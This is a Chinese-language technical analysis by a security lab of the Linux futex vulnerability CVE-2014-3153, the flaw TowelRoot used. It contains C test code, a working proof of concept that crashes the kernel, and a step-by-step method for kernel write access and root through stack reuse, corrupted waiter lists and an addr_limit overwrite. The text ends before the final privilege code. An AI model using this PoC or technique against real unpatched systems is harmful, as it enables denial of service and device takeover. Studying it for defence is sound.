背景学习:
By kernux TopSec α-lab
一 漏洞概述
这个漏洞是今年5月份爆出来的,漏洞影响范围非常广。受影响的Linux系统可能被直接DOS,精心设计可以获取根权限。该漏洞主要产生于内核的 Futex系统调用。Futex是快速用户空间mutex的意思,它是glibc中的互斥量实现的基础。内核空间其实只是提供了很简单的futex接 口,futex函数定义在/liunx/futex.c中,漏洞利用了 futex_requeue,futex_lock_pi,futex_wait_requeue_pi三个函数存在的两个漏洞,通过巧妙的组合这三个系 统调用,攻击者可以造成futex变量有等待者,却没有拥有者,破坏了futex架构,进一步,通过精心设计的函数栈填充,可以修改栈上的等待者 rt_mutex中的数据,从而对内核中的数据进行修改,达到提权目的。下面将逐步分析漏洞利用过程中的几部分原理。
二 Futex漏洞利用原理分析
Futex(Fast Userspace muTEX)是快速用户空间互斥量,设计目的是加速glibc层的互斥访问速度,在不必要的情况下,Futex可以在用户空间就处理互斥访问(仍然需要进 入内核,因为futex函数是系统调用,但开销相对内核互斥量非常小,就是简单的判断一下uaddr的值),而不进入内核互斥量,大大的减小了内核的开 销。此漏洞利用Futex的设计缺陷进行内核攻击,所以在继续阅读下文之前,建议读者应该对Futex系统调用有所了解,例如还有一份futex.c代码。不过不用担心,即使你懒得去读,我也会尽量详尽的解释清楚这些Futex函数。
在分析漏洞之前,我们需要建立一个测试环境,本文采用的是Android虚拟机进行的测试,当然,大部分测试代码是通用的,你也可以选择在PC系统上进行。采用Android goldfish 3.4内核,回朔到未打补丁的Futex版本。 1 2 3 | git clone https://android.googlesource.com/kernel/goldfish.git -b goldfish3.4 cd goldfish git checkout e8c92d268b8b8feb550ca8d24a92c1c98ed65ace kernel/futex.c |
然后对内核进行编译,编译过程需要开启Compile the kernel with debug info选项。完成之后就可以开始调试了。因为是Android系统,这里需要使用arm-linux-*编译工具集合,同样可以到Android官网获得,这里省略。
运行以下命令启动虚拟机: 1 | emulator -avd second -kernel ~/android/kernel/goldfish/arch/arm/boot/zImage -verbose -debug init -show-kernel -no-boot-anim -no-skin -no-audio -no-window -qemu -s |
2.1 RELOCK漏洞
relock漏洞源于futex_lock_pi函数,函数的系统调用形式是syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);,Futex的内核接口是do_futex。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | do_futex(u32 user *uaddr, int op, u32 val, ktime_t *timeout, u32 user *uaddr2, u32 val2, u32 val3){ ... switch (cmd) { case FUTEX_WAIT: val3 = FUTEX_BITSET_MATCH_ANY; case FUTEX_WAIT_BITSET: return futex_wait(uaddr, flags, val, timeout, val3); case FUTEX_WAKE: val3 = FUTEX_BITSET_MATCH_ANY; case FUTEX_WAKE_BITSET: return futex_wake(uaddr, flags, val, val3); case FUTEX_REQUEUE: return futex_requeue(uaddr, flags, uaddr2, val, val2, NULL, 0); case FUTEX_CMP_REQUEUE: return futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 0); case FUTEX_WAKE_OP: return futex_wake_op(uaddr, flags, uaddr2, val, val2, val3); case FUTEX_LOCK_PI: return futex_lock_pi(uaddr, flags, val, timeout, 0); case FUTEX_UNLOCK_PI: return futex_unlock_pi(uaddr, flags); case FUTEX_TRYLOCK_PI: return futex_lock_pi(uaddr, flags, 0, timeout, 1); case FUTEX_WAIT_REQUEUE_PI: val3 = FUTEX_BITSET_MATCH_ANY; return futex_wait_requeue_pi(uaddr, flags, val, timeout, val3, uaddr2); case FUTEX_CMP_REQUEUE_PI: return futex_requeue(uaddr, flags, uaddr2, val, val2, &val3, 1); } ... } |
根据这个接口,我们可以知道每个Futex命令的参数含义。futex_lock_pi功能是锁住uaddr,等待futex_unlock_pi来解锁。其核心的实现是futex_lock_pi_atomic。
1 2 3 4 5 6 7 8 9 10 11 | static int futex_lock_pi_atomic(u32 __user *uaddr, struct futex_hash_bucket *hb, union futex_key *key, struct futex_pi_state **ps, struct task_struct *task, int set_waiters) { ... /* Attempt a cmpxchg */ if (unlikely(cmpxchg_futex_value_locked(&curval, uaddr, 0, newval))) return -EFAULT; ... /* Check that the cmpxchg succeeded in a 0->TID transition */ if (unlikely(!curval)) return 1; ... } |
其中cmpxchg_futex_value_locked(&curval, uaddr, 0, newval)尝试去锁住uaddr,它的实现的含义是如果uaddr中存储的值为0,那么就说明没有线程占用锁,成功的获取到了锁,并将当前线程的id 写进去。(uaddr是用户空间的一个整形变量,被用于Futex系统架构中的futex互斥量。uaddr的值与其用户空间的地址都会被Futex用 到。)所以这里就存在一个问题,那就是uaddr是用户空间的变量,我们可以在程序中修改,手动设置为0,从而达到释放锁的目的,而不必通过 futex_unlock_pi。这必然是存在一些问题的,因为futex_unlock_pi中有一些收尾工作没有做,比如唤醒阻塞在锁上的线程,修改 pi_state等。所以这个时候产生的问题是,线程A先锁住了uaddr,用户将uaddr的值设为0,然后在线程B中再次去锁住uaddr,结果会成 功,而不会阻塞,这个时候线程A和B都拥有锁uaddr,从而造成了这个relock漏洞。下面是测试代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | #include <stdio.h> #include <unistd.h> #include <pthread.h> #include <linux/futex.h> #include <sys/syscall.h> #include <sys/types.h> #define futex_lock_pi(mutex) syscall(__NR_futex, mutex, FUTEX_LOCK_PI, 1, 0, NULL, 0) int mutex = 0; void *thread(void *arg) { int ret = 0; pid_t tid = syscall(__NR_gettid); printf("Entering thread[%d]\n", tid); ret = futex_lock_pi(&mutex); if (ret) { perror("Thread could not aqcuire lock\n"); goto Wait_forever; } printf("Mutex acquired (mutex = %d)\n", mutex); Wait_forever: printf("Exiting thread[%d]\n", tid); while (1) { sleep(1); } } int main(int argc, char *argv[]) { pthread_t t; printf("pid = %d\n", getpid()); printf("mutex = %d\n", mutex); printf("Acquiring lock\n"); if (futex_lock_pi(&mutex)) { perror("Lock error"); return -1; } printf("Mutex acquired (mutex = %d)\n", mutex); if (argc > 1) { printf("Releasing lock\n"); mutex = 0; printf("mutex = %d\n", mutex); } if (pthread_create(&t, NULL, thread, NULL)) { perror("Could not create thread"); return -1; } while (1) { sleep(1); } return 0; } |
下面是测试结果:
可以看到成功获取了两次锁。2.2 REQUEUE漏洞
futex_wait_requeue_pi的功能是让调用线程阻塞在uaddr1上,然后等待futex_requeue的唤醒。唤醒过程将所有阻塞在 uaddr1上的线程全部移动到uaddr2上去,以防止“惊群”的情况发生。对应的系统调用接口是FUTEX_WAIT_REQUEUE_PI和 FUTEX_CMP_REQUEUE_PI。正常情况下,我们的调用情况如下:
1 2 | syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 1, 0, &uaddr2, uaddr1); //在uaddr1上等待 syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1); //尝试获取uaddr2上的锁,然后唤醒uaddr1上 |
等待的线程。如果uaddr2锁获取失败,则将被唤醒线程添加到uaddr2的 rt_waiter列表上,进入内核等待
这个时候如果我们再次调用 1 | syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1) |
将失败而直接返回,并不会进入系统调用。
而requeue漏洞允许我们在以上两条语句执行之后,继续执行这样的语句: 1 | syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2); |
这个语句中所有地址都变成了uaddr2,也就是说将等待在uaddr2上的线程重排到uaddr2上,这是不合逻辑的,但是Futex没有检查这样的调 用,也就是说没有检查uaddr1 == uaddr2的情况,从而造成了我们可以二次进入futex_requeue中进行唤醒操作。
表面上看上去这两个漏洞似乎影响都不是很大,对内核没有构成直接威胁,不过聪明的攻击者对这两个漏洞进行了组合,获取了一种不错的效果。2.3 漏洞组合
2.2节中提到的requeue漏洞,只是描述了漏洞的利用过程,下面我们在这一节中会详细描述漏洞细节,这些细节在漏洞利用上至关重要,所以在本节讲更适合。
首先,我们要了解futex_requeue中唤醒futex_wait_requeue_pi线程的两种方式:- futex_proxy_trylock_atomic调用尝试获取uaddr2上的锁,如果成功,则唤醒等待线程,函数返回,否则继续执行。注意,这一步没有进入内核互斥量中,如果成功,将不进入内核互斥量,而是直接返回到用户空间,从而减小内核互斥量的开销;
- rt_mutex_start_proxy_lock尝试获取uaddr2锁,如果成功,则唤醒等待线程,如果失败,则将线程阻塞到uaddr2的内核互斥量上,将rt_waiter加入rt_mutex的waiter list。
下面是futex_requeue部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | static int futex_requeue(u32 user *uaddr1, unsigned int flags, u32 user *uaddr2, int nr_wake, int nr_requeue, u32 *cmpval, int requeue_pi) { ... if (requeue_pi && (task_count - nr_wake < nr_requeue)) { /* Branch taken */ ret = futex_proxy_trylock_atomic(uaddr2, hb1, hb2, &key1, &key2, &pi_state, nr_requeue); /* The call will return 0 (the lock is occupied) */ ... switch (ret) { case 0: /* End of this clause */ break; ... } } head1 = &hb1->chain; plist_for_each_entry_safe(this, next, head1, list) { ... /* requeue_pi == 1 */ if (requeue_pi) { atomic_inc(&pi_state->refcount); this->pi_state = pi_state; ret = rt_mutex_start_proxy_lock(&pi_state->pi_mutex, this->rt_waiter, this->task, 1); /* This call will return 0, as the lock was not taken so rt_waiter in futex_wait_requeue_pi's stack frame has been added to the list of waiters on the lock */ ... } ... } ... } |
综合两个漏洞,可以使我们获得一个rt_waiter。具体过程如下:
- 线程1调用futex_lock_pi锁住uaddr2,此时没有其他竞争,所以成功锁住uaddr2;
- 创建线程2,并等待线程2进入系统调用状态。同时线程2调用futex_wait_requeue_pi(uaddr1,uaddr2)等待被唤 醒,在futex_wait_requeue_pi中会在栈上分配一个rt_waiter,这个rt_waiter会通过futex_q传给 futex_requeue进行进一步操作;
- 线程2进入内核等待后,线程1继续执行,调用futex_requeue(uaddr1,uaddr2)唤醒线程2。但是由于uaddr2已经被 线程1锁住,futex_requeue尝试获取uaddr2锁将失败,从而不能够唤醒线程2,所以此时futex_requeue需要负责将线程2阻塞 到uaddr2的rt_mutex上,同时将futex_wait_requeue_pi中的rt_waiter加入到rt_waiter的waiter list上,就是上面代码rt_mutex_start_proxy_lock的功能;
- 利用relock漏洞,将uaddr2赋值为0,释放uaddr2上的锁,这个时候线程2不会被唤醒,因为线程2是等待在rt_mutex上,已经进入内核互斥量中;
- 利用requeue漏洞,调用futex_requeue(uaddr2,uaddr2),这会导致 futex_proxy_trylock_atomic函数被再次调用,进而调用futex_lock_pi_atomic。这个函数前面已经提过,它是 futex_lock_pi的核心。而在futex_requeue中同样需要,futex_lock_pi_atomic判断uaddr2上的值为0, 从而成功获得锁,然后requeue_pi_wake_futex被执行来唤醒线程2。q->rt_waiter 被赋值为NULL,表示不再需要rt_waiter,因为已经获得了锁(非内核互斥锁),而futex_wait_requeue_pi会认为没有进入内 核互斥量等待,也就是说rt_waiter没有被加入到rt_mutex的waiter list上,因此futex_wait_requeue_pi将执行不清理rt_waiter的分支代码,(这是正常的,因为futex_requeue 获取锁的过程中也提到过两种情况,futex_wait_requeue_pi当中自然也有对应与每种情况的执行流程。)从而造成了线程2被唤醒,但是它 的rt_waiter没有从rt_mutex上摘除,而这个rt_waiter还正好在栈上。这是漏洞利用的关键,下面的图对比了正常情况下与非正常情况 的代码执行过程。
上图是程序正常情况下的程序执行路径。红色与蓝色线条分别指被唤醒的两种情况,可以很明显的看到:
- 蓝色的路径没有进入内核互斥量中,所以也就没有清理rt_waiter的必要;
- 红色路径进入内核互斥量进行等待,返回到futex_wait_requeue_pi时,需要执行rt_waiter的清理。
下面看一下漏洞利用时的执行路径:
上图是调用futex_requeue(uaddr1,uaddr2)时候的情况,由于uaddr2被锁,所以 futex_proxy_trylock_atomic获取锁失败,进而调用rt_mutex_start_proxy_lock,将线程2阻塞,并将 rt_waiter加入到rt_mutex的waiter list上,然后等待uaddr2锁被释放。
这是设置uaddr2=0后,调用futex_requeue(uaddr2,uaddr2)的情 况,futex_proxy_trylock_atomic尝试获取uaddr2的锁,并成功获取,然后设置了q->rt_waiter = NULL,返回到futex_wait_requeue_pi中,执行了蓝色分支,没有清理rt_waiter而直接返回了。可以非常清楚的看到,漏洞执行的代码路径分别是正常代码执行的一部分。第一部分为红色执行路径的前部分,而第二部分为蓝色执行路径的后部分。最终的目的是 让等待的线程2醒来并继续执行,但是却没有清理rt_waiter,致使栈上的rt_waiter依然被连在rt_mutex的waiter list上。以上便是cve2014-3153漏洞的利用原理与过程,而至于这个栈上的没有owner的rt_waiter被链接在rt_mutex上,如果线程2结束,内核清理环境的时候,会去尝试唤醒这个rt_waiter,结果就是造成内核崩溃。下面是漏洞的PoC: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 | #include <stdio.h> #include <unistd.h> #include <pthread.h> #include <stdlib.h> #include <linux/futex.h> #include <sys/syscall.h> #define USERLOCK_FREE 0 #define USERLOCK_OCCUPIED 1 #define FUTEX_WAIT_REQUEUE_PI 11 #define FUTEX_CMP_REQUEUE_PI 12 inline void userlock_wait(volatile const int *userlock) { while (USERLOCK_OCCUPIED == *userlock) { usleep(10); } } inline void userlock_lock(volatile int *userlock) { *userlock = USERLOCK_OCCUPIED; } inline void userlock_release(volatile int *userlock) { *userlock = USERLOCK_FREE; } int get_voluntary_ctxt_switches(pid_t tid) { FILE *fp; char proc_path[256]; char buf[0x1000]; char *ptr = buf; int count = -1; snprintf(proc_path, sizeof(proc_path), "/proc/self/task/%d/status", tid); fp = fopen(proc_path, "rb"); if (fp != NULL) { fread(buf, sizeof(unsigned char), sizeof(buf), fp); ptr = strstr(buf, "voluntary_ctxt_switches:"); ptr += strlen("voluntary_ctxt_switches:"); count = atoi(ptr); fclose(fp); } return count; } void wait_for_thread_to_wait_in_kernel(pthread_t tid, int context_switch_count) { while (get_voluntary_ctxt_switches(tid) <= context_switch_count) { usleep(10); } } inline int futex_lock_pi(int *uaddr) { return syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, NULL, NULL, 0); } inline int futex_wait_requeue_pi(int *uaddr1, int *uaddr2) { return syscall(__NR_futex, uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, NULL, uaddr2, 0); } inline int futex_requeue_pi(int *uaddr1, int *uaddr2, int cmpval) { return syscall(__NR_futex, uaddr1, FUTEX_CMP_REQUEUE_PI, 1, NULL, uaddr2, cmpval); } int A = 0, B = 0; volatile int invoke_futex_wait_requeue_pi = 0; volatile pid_t thread_tid = -1; void *thread(void *arg) { thread_tid = gettid(); printf("[2]\n"); userlock_wait(&invoke_futex_wait_requeue_pi); futex_wait_requeue_pi(&A, &B); printf("Someone woke me up\n"); while (1) { sleep(1); } } int main(int argc, char *argv[]) { pthread_t t; int context_switch_count = 0; printf("[1]\n"); futex_lock_pi(&B); userlock_lock(&invoke_futex_wait_requeue_pi); pthread_create(&t, NULL, thread, NULL); /* Wait for the thread to be in a system call */ while (thread_tid < 0) { usleep(10); } context_switch_count = get_voluntary_ctxt_switches(thread_tid); userlock_release(&invoke_futex_wait_requeue_pi); wait_for_thread_to_wait_in_kernel(thread_tid, context_switch_count); printf("[3]\n"); futex_requeue_pi(&A, &B, A); printf("[4]\n"); B = 0; printf("[5]\n"); futex_requeue_pi(&B, &B, B); while (1) { sleep(1); } return 0; } |
编译运行,并强行终止后(ctrl+c,终止线程2),内核崩溃,打印信息部分如下:
三 内核提权
这一节我们会尝试去利用这个rt_waiter,来对内核内存进行操控,达到提权的目的。在这之前,我们需要了解一些内容。
3.1 栈内存控制
所谓栈内存控制就是如何能够随意改变栈上的内容,或者重新利用上个函数栈上的内容。先来看一个简单的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #include <stdio.h> int foo(int initialize, int val) { int local; if (initialize) { local = val; } else { printf("local foo is %d\n", local); } } int bar(int initialize, int val) { int local; if (initialize) { local = val; } else { printf("local bar is %d\n", local); } } int main() { foo(1, 10); //set to 10 foo(0, 0); //print it bar(1, 12); //set to 12 foo(0, 0); //print ??? return 0; } |
这段代码很简单,函数foo和bar具有完全相同的函数体,调用bar(1,12),然后再调用foo(0,0),结果打印的是bar设置的12。为什么 foo会打印出bar里面的值,而不是之前foo里面的值?因为他们具有完全相同的函数体,从而使他们的函数栈相同,在main函数中每次调用他们,都会 使用相同的栈,而栈内的内容不会在函数返回时清空,而是保持原样,这样在foo(0,0)的时候,没有去赋值,而是直接使用栈上的值,这个栈刚刚被bar 使用过,所以就造成了foo获取到了bar内的值。这就是一个简单的栈上内容的控制,当然,我们要控制内核栈要比这复杂的多。如果您没有明白,那么我想您 需要学习一下C中的局部变量的分配与栈的关系。
3.2 链表利用
链表这个数据结构,大家应该很熟悉。Linux内核在使用链表的时候,与我们通常情况下的使用方法不太一样。Linux会将一个链表结构嵌入到节点结构中,就像下面这样:
1 2 3 4 5 6 7 8 | struct list_head { struct list_head *next, *prev; }; struct plist_node { int prio; struct list_head prio_list; struct list_head node_list; }; |
list_head就是内核的通用链表结构,而我们要使用链表的时候,就会将它嵌入到节点结构中,就像plist_node那样。plist_node是 我们这个漏洞提权的关键,它是链接rt_mutex 的waiter list的链表结构,想要对rt_waiter进行控制,就要靠它了。下面我们先了解一下如何控制链表。这又是一个示例,但是比上一个要复杂一些:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | #include <stdio.h> #include <stdlib.h> #include <string.h> struct node { const char *value; struct node *next; struct node *prev; }; struct list { struct node *head; struct node *tail; }; void list_add(struct list *lst, struct node *newnode) { if (lst->head==NULL) { lst->head = newnode; lst->tail = newnode; } else { newnode->prev = lst->tail; lst->tail->next = newnode; lst->tail = newnode; } } struct node * list_remove_last(struct list *lst) { struct node *result; result = lst->tail; if (lst->head==lst->tail) { /*zero or 1 element*/ lst->head = lst->tail = NULL; } else { lst->tail = lst->tail->prev; lst->tail->next = NULL; } return result; } void list_print(struct list *lst) { struct node *tmp; tmp = lst->head; while (tmp) { printf("Value = %s\n", tmp->value); tmp = tmp->next; } } void list_add_new(struct list *lst, const char *val) { struct node *newnode = (struct node *)malloc(sizeof(struct node)); newnode->next = NULL; newnode->value = strdup(val); list_add(lst, newnode); } void print_with_end_of_list(struct list *lst) { struct node instack; instack.next = 0; instack.value = "--END OF LIST--"; printf("Not a buggy function\n"); list_add(lst, &instack); list_print(lst); /*we ignore the returned node*/ list_remove_last(lst); } void buggy_print_with_end_of_list(struct list *lst) { struct node instack; printf("a buggy function, here is the location of value on stack %p\n", &instack.value); instack.next = 0; instack.value = "--END OF LIST--"; list_add(lst, &instack); list_print(lst); /*we 'forgot' to remove the list element*/ } void a_function_to_exploit(int element_number, void * value) { int i; int buf[10]; if (element_number==-1) { /*print addressed of buf*/ for (i=0; i < 10; i++) { printf("location of buf[%d] is %p\n", i, &buf[i]); } return; } buf[element_number] = (int)value; } int main(int argc, char * argv[]) { struct list mylist; mylist.head = NULL; mylist.tail = NULL; int pos; char *val; /*we have one parameter*/ pos = -1; if (argc==3) { pos = atoi(argv[1]); val = argv[2]; } printf("we will use pos: %d\n", pos); list_add_new(&mylist, "Alpha"); list_add_new(&mylist, "Beta"); print_with_end_of_list(&mylist); buggy_print_with_end_of_list(&mylist); a_function_to_exploit(pos, val); list_print(&mylist); return 0; } |
这段代码依然利用了前面例子中说明的栈重用的情况,后面的函数使用了前面函数的栈,只不过用链表的形式展示了出来。代码的bug在于那个 buggy_print_with_end_of_list函数和a_function_to_exploit函数,前者造成漏洞,后者利用漏洞。正常情 况下,链表里的节点都是在list_add_new中生成的,生成的节点存储在堆中,而buggy_print_with_end_of_list的节点 是在栈上临时存放的,本应该在函数返回前,将这个临时节点从链表中摘除,但是它没有,结果就造成了一个存在与栈上的节点,而当调用 a_function_to_exploit时,这个栈又会被重用,例子中对这个节点进行了赋值,从而导致我们不需要知道这个链表的头指针,就可以修改这 个节点的内容。在32位系中编译这段代码,不进行优化,然后不带参数的运行,会得到如下结果(地址有变化是正常的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | we will use pos: -1 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd724a4 Value = Alpha Value = Beta Value = --END OF LIST-- location of buf[0] is 0xffd72488 location of buf[1] is 0xffd7248c location of buf[2] is 0xffd72490 location of buf[3] is 0xffd72494 location of buf[4] is 0xffd72498 location of buf[5] is 0xffd7249c location of buf[6] is 0xffd724a0 location of buf[7] is 0xffd724a4 location of buf[8] is 0xffd724a8 location of buf[9] is 0xffd724ac Value = Alpha Value = Beta Value = --END OF LIST-- |
我们注意到了在buggy_print_with_end_of_list栈上的那个临时节点的地址与a_function_to_exploit中的临 时数组buf[7]是一样的,也就是说修改buf[7]就等于修改了链表里面的那个栈上的临时节点。所以再次运行程序,带上如下参数:
1 2 3 4 5 6 7 8 9 10 11 12 13 | $./mylist 7 HACKED we will use pos: 7 Not a buggy function Value = Alpha Value = Beta Value = --END OF LIST-- a buggy function, here is the location of value on stack 0xffd3bd34 Value = Alpha Value = Beta Value = --END OF LIST-- Value = Alpha Value = Beta Value = HACKED |
结果就是这个HACKED被写进了链表里面,而在代码中却没有这样的操作。可见,rt_waiter就如同这个临时节点一样,可以被我们修改,只不过 rt_waiter在内核栈中,修改它要麻烦一些,不能直接写个函数去修改,因为我们写的函数都是用户空间的,进不去内核,所以需要一个内核函数去修改 它。不过这个内核函数要满足一下两个条件:
- 它的函数内核栈一定要足够的大,以至于我们可以覆盖到rt_waiter的地址。(因为函数的局部变量不同,变量的大小不同,就会导致不同大小的函数栈);
- 我们能够向这个栈上写东西,当然不是直接写,而是通过传递参数,而这个函数又会将参数复制到栈上,就可以达到这个目的。
TowelRoot中使用的sendmmsg函数就满足这个要求。sendmmsg的函数声明及主要结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | int sendmmsg(int sockfd, struct mmsghdr *msgvec, unsigned int vlen, unsigned int flags); struct mmsghdr { struct msghdr msg_hdr; unsigned int msg_len; }; struct msghdr { void *msg_name; socklen_t msg_namelen; struct iovec *msg_iov; size_t msg_iovlen; void *msg_control; size_t msg_controllen; int msg_flags; }; struct iovec { void *iov_base; __kernel_size_t iov_len; }; |
函数最后在内核中调用的是___sys_sendmsg。该函数栈上数据与rt_waiter的重叠部分如下图:
其中一部分数据是iovstack(*(msgvec.msg_iov))的部分内容,一部分是msgvec.msg_name的部分内容。所以很明显, 通过写入特定的msgvec.msg_name和msgvec.msg_iov,就可以改写rt_waiter节点的内容,使之按照我们的路径去执行。知 道了怎么修改rt_waiter之后,下面看一下该写一些什么内容,也就是说我们如何利用目前的漏洞进行对内核中的地址进行写入数据,因为要提权,只能修 改rt_waiter的内容是不够的。这里需要进一步利用plist链表。在plist链表中有两个链,一个是prio链,一个是节点链。那么一个节点, 为什么要两个链?因为他们具有不同的视图,用途不一样。链表中的每个节点都不同,但是他们的prio值是可以相同的(具有相同的优先级),所以 node_list链接了所有节点,而prio_list仅链接了prio不同的节点,具体情况如下图:内核在利用优先级选择节点的时候,会选择链接在prio_list上的节点,例如prio为20的节点,如果节点被成功唤醒,该节点将被清除,然后内核会 修改该链表,将另外一个prio=20的节点链接到prio_list上。可以看出这个链表就是按照prio进行排序的。因此我们可以利用prio的值来 控制插入节点的位置,如果我们可以插入节点的话。下图是我们修改后的链表情况。我们修改了rt_waiter节点的prio.next指针,指向我们的共享内存中的特定位置,该位置事先被填充了作为一个plist节点的必要数据,该 数据包括prio的值,以及对应的链表指针。可以看出,我们将链表链接到了我们可以控制的共享内存中,这都是因为内核并没有检查链表节点的地址是否为内核 空间地址,所以我们可以修改成功。那么现在有了一块可以随意控制的链表节点,接下来看怎么利用它来修改内核空间的值。调用futex_lock_pi会向 链表中添加rt_waiter节点,而在调用线程中,先设置优先级,就可以控制节点的插入位置。我们将该节点的优先级的值设置在两个伪造节点的中间,插入 后的效果如下:这样一来,新节点的后节点是我们可以随意查看的用户空间内存,而新节点所在的空间是内核空间,因此我们可以通过 fake_node.node_list.prev查看到新节点的内核空间的地址,成功的泄漏了内核空间地址。这个地址非常重要,因为它是一个新的 rt_waiter的地址,之前的rt_waiter节点虽然可以随意修改,但是我们无法读取它的内容以及它的地址,原因就是因为它是内核空间中的,而现 在经过上面的精心设计,我们得到了一个有效的rt_waiter的内核地址,不过我们还是不能够随意修改,但是已经很接近了。那么到底如何修改内核空间的 任意地址那?关键还是在于fake_node。下面的图中只画出我们关心的fake_node部分。相信大家应该都了解链表的插入操作,我在此简单描述一 下,假设我们要在fake_node的前面插入节点,执行过程大概是这样: 1 2 3 4 | fake_node.prev.next = new_node; new_node.prev = fake_node.prev; fake_node.prev = new_node; new_node.next = fake_node; |
这里面我们修改了fake_node的prev,fake_node.prev的next以及new_node的prve和next。这是基本的也是通用的链表插入操作。那么怎么修改内核特定地址的值那?看下面的图:
假设我们要修改的内核地址为A,在插入新节点之前,我们将fake_node的node.prev的值设置为A-offset,其中offset就是plist前两个成员的大小,也就是说地址A就是node.next的地址。然后插入新节点,如下图:可以看到红色的node.next指向后继节点,也就是说地址A中的值被修改成了新节点的地址。虽然这个修改很受限制,只能修改为新节点的地址,但是确实 是成功的修改了内核空间中指定地址的值。以上便是利用链表来对特定地址进行修改的过程。但是这似乎还是不能够完成提权的目的。3.3 任意写入内核空间
上一节利用链表的操作,我们得到了一个rt_waiter的地址,同时还能够将这个地址写进任意的内核地址中。那么如何才能够对内核的任意地址进行写入任 意值那?我们需要修改thread_info.addr_limit。这个变量规定了特定线程的用户空间地址最大值,超过这个值的地址,用户空间代码不能 访问。所以我们的目的很简单,那就是把这个addr_limit改的大一些,多大?0xffffffff,这样就可以对内核为所欲为了。那么如何获得 addr_limit的地址那?那就是利用rt_waiter的地址。rt_waiter这个结构是在内核栈上分配的,所以我们就知道了内核栈上的一个地 址。而又由于thread_info与内核栈共用8K的内存空间,因此有一个技巧,就是任意内核栈的地址与上0xffffe000,就会得到 thread_info的地址。这个技巧被内核代码所使用。所以我们就知道了thread_info的地址,再定义正确的thread_info的结构, 就可以得到addr_limit的地址了。
得到这个地址之后,就可以对它进行写入一个新rt_waiter的地址。这有什么用那?我们现在还没有能力写入0xffffffff,但是写入这个 rt_waiter的地址也是有一定帮助的,因为rt_waiter的地址是内核地址,所以被修改后的addr_limit也一定在内核之中了,我们的用 户空间代码能访问部分内核空间了。看,我们离目标又近了一步。那么到底怎样写入0xffffffff那?既然我们可以修改一次addr_limit,自然 还可以多次修改addr_limit,关键是每个rt_waiter的地址又是不同的,但是请注意,这个rt_waiter的地址却不一定的递减的,因为 不同线程具有独立的内核栈,所以不同线程的rt_waiter不在同一个栈上,他们的地址是随机分布的。这样就有了一个方法,可以将0xffffffff 写进去。具体过程描述如下:首先,主线程创建线程A,用于提权操作。线程A创建后,调用futex_lock_pi,产生rt_waiter,然后进入等待,这个时候,主线程向其发 送信号,唤醒它继续执行信号处理程序。在信号处理程序中,线程A开始获取addr_limit的地址,然后尝试读取其内容,直到成功;这个时候主线程开始 创建新的线程B,用以产生新的rt_waiter,并利用上面的技术将这个新的rt_waiter的地址写进线程A的addr_limit。循环执行这个 过程,直到线程A成功读取addr_limit的内容。如果线程A的内核栈的地址低于线程B的内核栈的地址的话,我们将新的rt_waiter的地址写进 线程A的addr_limit的话,这个时候线程A的用户空间的最大值就会变成线程B的内核栈上的地址,而由于B的内核栈高于A的内核栈,所以这个时候, 线程A便可以访问addr_limit了,addr_limit的地址已经属于用户空间了。既然是用户空间,那么就可以将0xffffffff写进 addr_limit中,从而将线程A的所有地址都对用户空间开放,来进一步执行提权操作了。所以最终我们在线程A中获得了内核空间的任意访问能力,请注 意,只限于线程A,因为每个线程在内核看来是独立的,是具有不同内核栈和thread_info(addr_limit)的。3.4 内核数据修改与提权
既然可以对内核数据随意修改了,那么现在的问题就是获取要修改数据的地址。thread_info包含了线程的主要信息,当然也就包括了线程的 task_struct。而task_struct结构体包含了该线程的所有信息。这其中就包括权限方面的重要证书信息cred,该结构体是线程权限的管 理者,标识了当前线程的权限。参考TowelRoot的修改大致如下:
